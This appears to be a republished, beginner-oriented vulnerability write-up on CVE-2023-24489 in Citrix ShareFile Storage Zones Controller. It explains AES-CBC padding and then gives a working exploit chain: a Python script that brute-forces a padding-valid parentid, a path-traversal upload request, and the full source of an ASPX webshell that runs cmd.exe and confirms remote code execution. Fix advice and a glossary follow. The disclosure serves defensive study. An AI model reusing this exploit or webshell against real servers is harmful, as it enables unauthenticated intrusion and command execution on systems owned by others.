To understand why AES might throw an exception, you have to understand block ciphers. AES uses a block cipher with a fixed block size of 128 bits (16 bytes). This means AES can only encrypt and decrypt data in blocks of 16 bytes. That is fine if all the messages are a multiple of 16 bytes, but not fine for other messages. To fix this problem, extra data is added to messages to ensure their length is a multiple of 16. This extra data is called padding.

A comparison: imagine a delivery service that only accepts boxes of exactly one size. If your item is smaller, you fill the rest of the box with packing material. The receiver knows the packing material is not part of the item and removes it. Padding is that packing material.

For AES in .NET, the default padding mode is a scheme called PKCS#7. In this scheme the value of each byte added is the total number of bytes added. For example, given the following 9 byte message:

TXT
01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16
FF FF FF FF FF FF FF FF FF

To reach 16 bytes, 7 bytes of padding are added, each with the value 0x07:

TXT
01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16
FF FF FF FF FF FF FF FF FF 07 07 07 07 07 07 07

What these two blocks show:

  1. The first line is a header showing byte positions, from 1 to 16.
  2. The second line is the actual message: nine bytes, written in hexadecimal (base 16, where FF is one byte).
  3. The third line is the same message after padding: the nine original bytes, then seven bytes each with the value 07, because seven bytes were added.

In .NET padding is handled automatically: it is added when the message is encrypted and checked when decrypted. This is great for the developer, as it means they do not need to worry about padding. However, when a message is decrypted, if the padding does not conform to the scheme, an exception is thrown. This is why the empty string check was failing: the application was throwing padding exceptions, causing the return value to always be an empty string.

So the check can be bypassed without finding a completely correct encrypted message. It is only necessary to find one with valid padding. The simplest message with valid padding is one where the final block has one byte of padding, for example:

Here ?? means "any byte at all", and the final byte is 01, meaning "one byte of padding was added". If the last byte says 01, the decryption code is satisfied and does not throw.

Since the value of each byte will be random and only the last byte matters, on average 1 in every 256 randomly generated messages will decrypt with valid padding. That could be brute-forced, but there is an easier method that exploits another quirk of block ciphers.

Cipher Block Chaining

A limitation with block ciphers on their own is that identical blocks will encrypt to the same value. This is an issue because it causes patterns present in the plaintext to also be present in the ciphertext. Plaintext is the readable original data; ciphertext is the scrambled result. If patterns are present in the output, there is a good chance the encryption can be broken.

A comparison: if every time the word "the" appeared in a letter it was replaced by the same symbol, a reader could guess what that symbol means from how often it appears. Randomising the replacement each time hides the pattern.

To overcome this problem, block ciphers use modes of operation which introduce randomisation to prevent identical blocks from being encrypted to the same value. The default mode of operation in .NET is called Cipher Block Chaining (CBC).

In CBC mode, each block is "chained" with the previously encrypted block. This is why an Initialisation Vector (IV) is sometimes needed for AES: the IV is the value used with the first block. In AES CBC mode the chaining is done by XORing each byte of the block with the corresponding byte in the previous block. XOR is a simple operation on two bytes: it combines them into a third byte in a way that can be undone by applying it again with the same value.

The snippet below shows how encryption works with this scheme.

Python
tempBlockZero = XorBlocks(plaintextBlocks[0], IV)
ciphertextBlocks[0] = EncryptBlock(tempBlockZero)

for n in range(1, numberOfBlocks):
    tempBlock = XorBlocks(plaintextBlocks[n], ciphertextBlocks[n-1])
    ciphertextBlocks[n] = EncryptBlock(tempBlock)

Line by line:

  1. The first plaintext block is XORed with the IV, producing a temporary block.
  2. That temporary block is encrypted, producing the first ciphertext block.
  3. For every later block, the plaintext block is XORed with the previous ciphertext block, then encrypted.
  4. The result is that each block's encryption depends on the one before it, so identical plaintext blocks no longer produce identical ciphertext.

Decryption is the same process, but with the operations reversed.

Python
tempBlockZero = DecryptBlock(ciphertextBlocks[0])
plaintextBlocks[0] = XorBlocks(tempBlockZero, IV)

for n in range(1, numberOfBlocks):
    tempBlock = DecryptBlock(ciphertextBlocks[n])
    plaintextBlocks[n] = XorBlocks(tempBlock, ciphertextBlocks[n-1])

Line by line:

  1. The first ciphertext block is decrypted, then XORed with the IV to recover the first plaintext block.
  2. For every later block, the ciphertext block is decrypted, then XORed with the previous ciphertext block to recover the plaintext.
  3. Notice the key detail: when decrypting block 1, the previous ciphertext block (block 0) is XORed into the result. That means changing block 0 changes the decrypted block 1 in a predictable way, even without knowing the key.

For the exploit, at least two blocks are needed because the IV cannot be controlled. The goal is a message which satisfies the following.

TXT
    -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- XX ciphertext (block 0)
XOR -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- ?? temp block (block 1 decrypted)
  = -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- 01 our goal

Reading this diagram:

  1. The top line is the first ciphertext block. Every byte is unknown (--) except the last one, XX, which we choose.
  2. The middle line is the result of decrypting the second block. We cannot know it, but it stays the same as long as the second block stays the same.
  3. The bottom line is the result of XORing the two. We want the last byte to be 01, which is valid padding.

The value of the temp block cannot be known, but it will not change. XX is fully controlled and, because of how XOR works, all that is needed is to iterate over all possible values until hitting the one that, when XORed with the temp block, gives the target value. Since there are 256 possible values, on average half of them will need to be tried. That means roughly 128 requests, with a guaranteed correct guess after 256.

Exploitation

Step 1: find a parentid with valid padding

To find a message with valid padding, two blocks are used. The final byte of the first block is varied and everything else is left the same. It does not matter what the other values are, as long as they stay the same.

If the error "Invalid request method - GET" comes back, that means the decryption section was passed and the next check, which ensures the request method is a POST, was reached. That is good enough at this stage, since the only goal is to find the value for parentid. In other words, the error message itself is the signal: it tells us the page got further than decryption.

Python
for i in range(0, 256):
    payload = [
        # block 0
        b'\x41', b'\x41', b'\x41', b'\x41',
        b'\x41', b'\x41', b'\x41', b'\x41',
        b'\x41', b'\x41', b'\x41', b'\x41',
        b'\x41', b'\x41', b'\x41', i.to_bytes(1, byteorder='little'),

        # block 1
        b'\x41', b'\x41', b'\x41', b'\x41',
        b'\x41', b'\x41', b'\x41', b'\x41',
        b'\x41', b'\x41', b'\x41', b'\x41',
        b'\x41', b'\x41', b'\x41', b'\x41'
    ]
    payload = b''.join(payload)
    payload = base64.b64encode(payload)
    payload = urllib.parse.quote(payload, safe='')

    url = 'http://{}/documentum/upload.aspx?parentid={}&uploadid=x'.format(TARGET, payload)
    r = requests.get(url, verify=False)
    if r.status_code == 200:
        if 'Invalid request method - GET' in r.text:
            print('Valid padding:   {}'.format(payload))
            sys.exit(0)
        else:
            print('Invalid padding: {}'.format(payload))

Line by line:

  1. for i in range(0, 256) tries every possible value of a single byte, from 0 to 255.
  2. The payload list is built as two blocks of 16 bytes each. The first 15 bytes of block 0 are \x41 (the letter A), and the 16th is i, the value being tried. Block 1 is 16 bytes of \x41 and never changes.
  3. b''.join(payload) glues the pieces into one sequence of bytes.
  4. base64.b64encode turns those bytes into Base64 text, because the value has to travel inside a URL.
  5. urllib.parse.quote percent-encodes the text so characters like = and + do not break the URL.
  6. The URL is built with the candidate as parentid and a fixed uploadid=x.
  7. requests.get sends a GET request to the page. verify=False tells the script not to check the server's TLS certificate, which is common when testing a lab instance.
  8. If the response is a 200 and its text contains "Invalid request method - GET", the script prints the winning value and exits. Otherwise it prints the value as invalid and moves on.

The output of this script looks like the following.

Bash
$ python3 padder.py
Invalid padding: QUFBQUFBQUFBQUFBQUFBAEFBQUFBQUFBQUFBQUFBQUE%3D
Invalid padding: QUFBQUFBQUFBQUFBQUFBAUFBQUFBQUFBQUFBQUFBQUE%3D
Invalid padding: QUFBQUFBQUFBQUFBQUFBAkFBQUFBQUFBQUFBQUFBQUE%3D
Invalid padding: [redacted]%3D
Invalid padding: QUFBQUFBQUFBQUFBQUFBBEFBQUFBQUFBQUFBQUFBQUE%3D
Invalid padding: QUFBQUFBQUFBQUFBQUFBBUFBQUFBQUFBQUFBQUFBQUE%3D
Invalid padding: QUFBQUFBQUFBQUFBQUFBBkFBQUFBQUFBQUFBQUFBQUE%3D
Invalid padding: [redacted]%3D
Invalid padding: QUFBQUFBQUFBQUFBQUFBCEFBQUFBQUFBQUFBQUFBQUE%3D
Invalid padding: QUFBQUFBQUFBQUFBQUFBCUFBQUFBQUFBQUFBQUFBQUE%3D
...
Invalid padding: QUFBQUFBQUFBQUFBQUFBgUFBQUFBQUFBQUFBQUFBQUE%3D
Invalid padding: QUFBQUFBQUFBQUFBQUFBgkFBQUFBQUFBQUFBQUFBQUE%3D
Invalid padding: [redacted]%3D
Invalid padding: QUFBQUFBQUFBQUFBQUFBhEFBQUFBQUFBQUFBQUFBQUE%3D
Invalid padding: QUFBQUFBQUFBQUFBQUFBhUFBQUFBQUFBQUFBQUFBQUE%3D
Invalid padding: QUFBQUFBQUFBQUFBQUFBhkFBQUFBQUFBQUFBQUFBQUE%3D
Invalid padding: [redacted]%3D
Invalid padding: QUFBQUFBQUFBQUFBQUFBiEFBQUFBQUFBQUFBQUFBQUE%3D
Invalid padding: QUFBQUFBQUFBQUFBQUFBiUFBQUFBQUFBQUFBQUFBQUE%3D
Invalid padding: QUFBQUFBQUFBQUFBQUFBikFBQUFBQUFBQUFBQUFBQUE%3D
Valid padding:   [redacted]%3D

Each line is one attempt. The script prints "Invalid padding" while the page rejects the value, and "Valid padding" on the one value that got past decryption. After several attempts, a value for parentid was found that did not throw a padding exception.

Step 2: upload the webshell through the traversal

That value was combined with the path traversal to upload an .aspx file to a writable directory in the webroot. The final request was as follows.

HTTP
POST /documentum/upload.aspx?parentid=[redacted]%3D&raw=1&unzip=on&uploadid=x\..\..\..\cifs&filename=x.aspx HTTP/1.1
Host: example.com
Content-Length: 720

<%@ Page Language="C#" Debug="true" Trace="false" %>
<%@ Import Namespace="System.Diagnostics" %>
<%@ Import Namespace="System.IO" %>
<script Language="c#" runat="server">
void Page_Load(object sender, EventArgs e)
{
    Response.Write("<pre>");
    Response.Write(Server.HtmlEncode(ExcuteCmd()));
    Response.Write("</pre>");
}
string ExcuteCmd()
{
    ProcessStartInfo psi = new ProcessStartInfo();
    psi.FileName = "cmd.exe";
    psi.Arguments = "/c whoami";
    psi.RedirectStandardOutput = true;
    psi.UseShellExecute = false;
    Process p = Process.Start(psi);
    StreamReader stmrdr = p.StandardOutput;
    string s = stmrdr.ReadToEnd();
    stmrdr.Close();
    return s;
}
</script>

What each part of this request does:

  1. POST /documentum/upload.aspx sends the request to the upload page using the POST method, which is the one used for submitting data.
  2. parentid=[redacted]%3D is the padding-valid ciphertext found in step 1. It exists only to get past the decryption check.
  3. raw=1 and unzip=on are extra parameters present in the request.
  4. uploadid=x\..\..\..\cifs is the unsanitised component. The .. sequences climb out of the temporary upload folder.
  5. filename=x.aspx is the sanitised name of the file that gets written there.
  6. Host: example.com names the server, and Content-Length: 720 says how many bytes of body follow.
  7. The body is the ASPX webshell. Page_Load runs whenever the page is requested. It calls ExcuteCmd, wraps the output in <pre> tags and writes it into the response.
  8. ExcuteCmd starts cmd.exe with the argument /c whoami. whoami is a Windows command that prints the name of the account the program is running as. The output is captured and returned.

In short: the parentid gets the request past the check, the uploadid decides where the file lands, and the body is the program that will run once the file is requested.

Step 3: request the uploaded file

Finally, the uploaded file was requested to see the result.

HTTP
GET /cifs/x.aspx HTTP/1.1
Host: example.com

HTTP/1.1 200 OK
Cache-Control: private,no-store
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/8.5
Access-Control-Max-Age: 540
Strict-Transport-Security: max-age=31536000
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
X-Frame-Options: DENY
Date: Tue, 04 Jul 2023 04:32:24 GMT
Content-Length: 41

<pre>nt authority\network service</pre>

Reading this exchange:

  1. GET /cifs/x.aspx asks the server for the file that was just uploaded, using an ordinary browser-style request.
  2. The server answers 200 OK, and the body shows the output of the webshell.
  3. The headers describe the response: Content-Type: text/html says it is a web page, Server: Microsoft-IIS/8.5 names the web server, and the X-... headers are security settings the server adds.
  4. The body is <pre>nt authority\network service</pre>, which is the output of whoami. It shows the output of whoami from the webshell, confirming remote code execution.

Even so, running commands on the server at all is a serious compromise.

Impact

The chain gives unauthenticated arbitrary file upload and full remote code execution on the Storage Zones Controller. The particular endpoint is not enabled in all configurations, but it has been common amongst the hosts tested. Given the number of instances online and the reliability of the exploit, a big impact has already been seen from this vulnerability.

Fix

Citrix released a security update for CVE-2023-24489, which lists the vulnerable versions and how to upgrade. The report does not describe the code change itself.

For developers, the general advice is to use a mode of encryption that provides authentication. AES in Galois/Counter Mode (GCM) is a popular and fast choice. GCM checks that the message has not been tampered with, so a modified message is rejected outright instead of being decrypted into nonsense.

If an older mode of operation must be used, consider the Encrypt-then-MAC approach: the data is encrypted with CBC mode and then an HMAC (Hashed Message Authentication Code) is generated and appended to the output. An HMAC is like a tamper-evident seal computed with a secret key. Before decryption the HMAC is used to verify that the encrypted payload has not been modified.

Variants to test

These are the patterns worth looking for in other software, written so that a beginner can follow the reasoning.

  1. Other upload endpoints with an unsanitised identifier. The same pattern, a sanitised filename concatenated with an unsanitised uploadId, may exist in the other upload pages found in the webroot (sp/, cifs/, documentum/ and the root-level upload*.aspx files). A positive result is a file written outside the intended temporary directory, visible by requesting it from the webroot.
  2. CBC decryption checks that only test for an empty result. Send a two-block value with a varying final byte of the first block and watch for a response that differs from the padding failure, such as a different error message or a later-stage error. A positive result is any input that gets past decryption without being a legitimately encrypted value.
  3. Padding oracle behaviour. Compare responses for invalid versus valid padding: does it result in an error, are the errors different, does it take longer or shorter to process? Any of these can lead to a potential padding oracle attack, where the difference in responses leaks information about the decrypted data.
  4. Default .NET AES settings in reviewed code. Look for Rfc2898DeriveBytes with AES defaults, CBC mode and PKCS#7 padding, and check whether a decryption exception leaves the return value unset. A positive result is a code path where a failed decryption is treated the same as a successful one, or where the failure is silently swallowed.

Glossary

  • .NET: a software platform from Microsoft for building and running applications.
  • 200: the HTTP status code meaning the request succeeded and the response follows.
  • AES: a widely used encryption algorithm that works on fixed-size blocks of data.
  • API: a defined way for one program to talk to another; here, the set of URLs and parameters a web application accepts.
  • ASPX: a page in a .NET web application, containing markup and program code that the server runs.
  • Authentication: proving who you are, usually by logging in.
  • Base64: a way of writing binary data using ordinary letters, digits and a few symbols, so it can travel in text such as a URL.
  • Block cipher: an encryption algorithm that processes data in fixed-size chunks (blocks).
  • Brute-forcing: trying many possibilities one after another until one works.
  • Cache: a temporary store of data kept in memory for speed.
  • CBC (Cipher Block Chaining): a mode of operation where each block is combined with the previous ciphertext block before encryption.
  • Ciphertext: data after encryption, scrambled and unreadable without the key.
  • Class: a named block of program code that groups related data and behaviour.
  • Cookie: a small piece of text a website asks your browser to store and send back on later requests.
  • CVE: a public identifier for a specific security vulnerability.
  • Decompiling: turning a finished program back into readable source code.
  • Decryption: turning scrambled data back into readable data using a key.
  • dnSpy: a tool for decompiling and inspecting .NET programs.
  • Encrypt-then-MAC: an approach where data is encrypted and then a tamper-checking code is appended.
  • Encryption: transforming readable data into scrambled data so others cannot read it.
  • Enumeration: systematically listing what an application exposes.
  • Exception: an error signal raised by a program when something goes wrong.
  • GCM (Galois/Counter Mode): a mode of AES that also checks the message has not been tampered with.
  • GET: the HTTP method a browser uses to fetch a page.
  • HMAC: a tamper-checking code computed with a secret key.
  • IIS: Microsoft's web server software.
  • Initialisation Vector (IV): a value used with the first block in CBC mode so that identical messages encrypt differently.
  • Member variable: a value stored on an object so different parts of the code can read it later.
  • Mode of operation: a scheme for using a block cipher on messages longer than one block.
  • Padding: extra bytes added so a message fills whole blocks.
  • Padding oracle attack: an attack that learns about decrypted data from differences in how a system responds to bad padding.
  • Parameter: a named value in a URL's query string, such as parentid.
  • Path traversal: using .. sequences in a path to climb out of the intended folder.
  • PKCS#7: a padding scheme where each added byte holds the number of bytes added.
  • Plaintext: the readable original data before encryption.
  • POST: the HTTP method used to submit data to a server.
  • Principal: the identity the application believes is making a request.
  • Query string: the part of a URL after ?, carrying parameters.
  • Remote code execution (RCE): running an attacker's commands on someone else's machine.
  • Request: a message a browser or tool sends to a server.
  • Response: the message a server sends back.
  • Salt: a random value mixed into key derivation so the same passphrase gives different keys.
  • Sanitising: cleaning a value so it cannot do anything dangerous.
  • Session cookie: a cookie that identifies a logged-in session.
  • Storage Zones Controller: the Citrix component that lets ShareFile store files in a customer's own data centre.
  • Unauthenticated: working without logging in.
  • URL: the address of something on the web.
  • Web application: a program that runs on a server and is used through a browser.
  • Webroot: the folder on a server whose contents are served to visitors.
  • Webshell: a small program uploaded to a server that lets an attacker run commands through the browser.
  • XOR: a simple byte operation that combines two values and can be undone by applying it again.

More by Dylan Pindur

View all

8 more disclosed reports, best first.

Similar reports

View all

Same bug class and techniques, clearest first.

Remote code execution

The lesson behind this report.

Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.